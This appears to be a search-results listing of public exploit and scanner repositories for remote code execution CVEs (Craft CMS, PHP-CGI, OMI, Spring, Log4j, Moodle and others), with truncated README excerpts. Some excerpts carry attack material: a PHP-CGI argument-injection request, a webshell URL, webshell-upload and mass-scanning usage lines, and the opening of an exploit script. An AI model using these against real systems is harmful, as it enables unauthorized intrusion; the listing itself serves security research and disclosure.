16155 matches found
CVE-2020-36188
Description FasterXML jackson-databind 2.x before 2.9.10.8 mishandles the interaction between serialization gadgets and typing, related to com.newrelic.agent.deps.ch.qos.logback.core.db.JNDIConnectionSource How to RCE pom.xml com.fasterxml.jackson.core jackson-databind 2.9.10.7...
CraftCMS_CVE-2023-41892
Craft CMS CVE-2023-41892 There is a Unauthenticated Remote Code Execution RCE affecting CraftCMS 4.0.0-RC1 - 4.4.14. Usage python3 craft-cms.py http://target Requirements The exploit make use of requests. Install it with : python3 -m pip install requests Acknowledgements...
spring4shell-scan
spring4shell-scan A fully automated, reliable, and accurate scanner for finding Spring4Shell and Spring Cloud RCE vulnerabilities Features Support for lists of URLs. Fuzzing for more than 10 new Spring4Shell payloads previously seen tools uses only 1-2 variants. Fuzzing for HTTP GET and POST...
CVE-2024-4577
CVE-2024-4577, Argument Injection in PHP-CGI ./CVE-2024-4577.sh /path/to/domains-list POC : POST /test.hello?%ADd+allowurlinclude%3d1+%ADd+autoprependfile%3dphp://input HTTP/1.1 Host: host User-Agent: curl/8.3.0 Accept: / Content-Length: 23 Content-Type: application/x-www-form-urlencoded...
CVE-2021-38647
OMIGOD Proof on Concept Exploit for CVE-2021-38647 OMIGOD For background information and context, read the our blog post detailing this vulnerability: https://www.horizon3.ai/news/blog/omigod Details CVE-2021-38647 is an unauthenticated RCE vulnerability effecting the OMI agent as root. OMI agent...
CVE-2020-0022
CVE-2020-0022 vulnerability exploitation on Bouygues BBox Miami Android TV 8.0 - ARM32 Cortex A9 By Polo35 - 2020/08/24 "Usage: python poloexploit.py targetbtmac targetadbip, shellcommand, disablereboot, verbose" Based on scripts by Jan Ruge CVE-2020-0022 an Android 8.0-9.0 Bluetooth Zero-Click R...
CVE-2022-22947
Spring Cloud Gateway RCE Env CVE-2022-22947 CVE-2022-22947 was identified in the Spring Cloud Gateway Server jar. After the application is compiled you should be able to view the existing routes by visiting: http://127.0.0.1:9000/actuator/gateway/routes Compile $ mvn package -DskipTests Run $ jav...
SiteCore-RCE-Detection
SiteCore-RCE-Detection For detection of sitecore RCE - CVE-2021-42237 Sitecore Experience Platform Pre-Auth RCE - CVE-2021-42237 Relies on sitecore version detection and response when a request is made to vulnerale Report.ashx via Get and Post. The script takes a file containing list of urls in...
cve-2019-7192-check
QNAP Pre-Auth Root RCE CVE-2019-7192 CVE-2019-7195 Checker Usage: pip install requests ./CheckerforQNAPRCEcve2019719295.py /path/to/ip-port.txt Example file input: 1.2.3.4 8080 2.3.4.5 443 This tool takes a list of QNAP NASes' IPs and ports, and it tells if each device is vulnerable to the...
CVE-2022-24990
CVE-2022-24990 CVE-2022-24990 TerraMaster TOS unauthenticated RCE via PHP Object Instantiation Usage Vulnerability Detection. python CVE-2022-24990.py -u http://127.0.0.1:8080 Upload a PHP webshell. python CVE-2022-24990.py -a http://127.0.0.1:8080 Reference...
log4j
log4j An automated header extensive scanner for detecting log4j RCE CVE-2021-44228 Usage $ python3 log4j.py -l urls.txt --dns-log REPLACETHIS.dnslog.cn...
CVE-2021-30461
Impacted Products VoIPmonitor 24.60 How to RCE python3 CVE-2021-30461.py -t ipaddress Browser shell: http://x.x.x.x/namrlblgel.php?a=whoami Reference https://ssd-disclosure.com/ssd-advisory-voipmonitor-unauth-rce/...
CVE-2020-2551
Twitter: @Hktalent3135773 0、how get pro exploit tools? see https://github.com/hktalent/CVE-2020-2551/issues/5 1、CVE-2020-2551 CVE-2020-2551 poc exploit python example keys: GIOP corba How use python3 CVE-2020-2551.py -u http://192.168.26.79:7001 cat urls.txt|sort -u|xargs -I % python3...
LogJackFix
LogJack Fix A spigot plugin to fix CVE-2021-44228 Log4j remote code execution vulnerability, to protect Minecraft clients. Building gradle build License Licensed under GPLv3 Copyright c 2021 lordpipe Contributing By making a contribution to this repository, I certify that: a The contribution was...
PoC-CVE-2025-26529
PoC for CVE-2025-26529 – Moodle XSS to RCE Exploit This is a Proof of Concept PoC demonstrating the SSRF to XSS → XSS to RCE vulnerability chain in Moodle. Overview I’ve uploaded all the necessary files to demonstrate the full chain of exploitation: 1. SSRF to XSS 2. Grabbing the admin cookie 3...
RCE
CVE-2022-31814 WebApp bug import argparse import requests import time import sys import urllib.parse from requests.packages.urllib3.exceptions import InsecureRequestWarning requests.packages.urllib3.disablewarningsInsecureRequestWarning parser = argparse.ArgumentParserdescription="pfBlockerNG =...
coldfusion-10-11-xss
ColdFusion 10.x 11.x XSS - RCE PoC Exploits This repo contains XSS vectors for CVE-2015-0345 APSB15-07 that allow for the ability to gain remote command execution on ColdFusion installations. This exploit is only valid for ColdFusion 10 and 11 installations. Specifically, ColdFusion 11, Update 11...
CVE-2020-35728
Description FasterXML jackson-databind 2.x before 2.9.10.8 mishandles the interaction between serialization gadgets and typing, related to com.oracle.wls.shaded.org.apache.xalan.lib.sql.JNDIConnectionPool aka embedded Xalan in org.glassfish.web/javax.servlet.jsp.jstl. How to RCE pom.xml 4.0.0...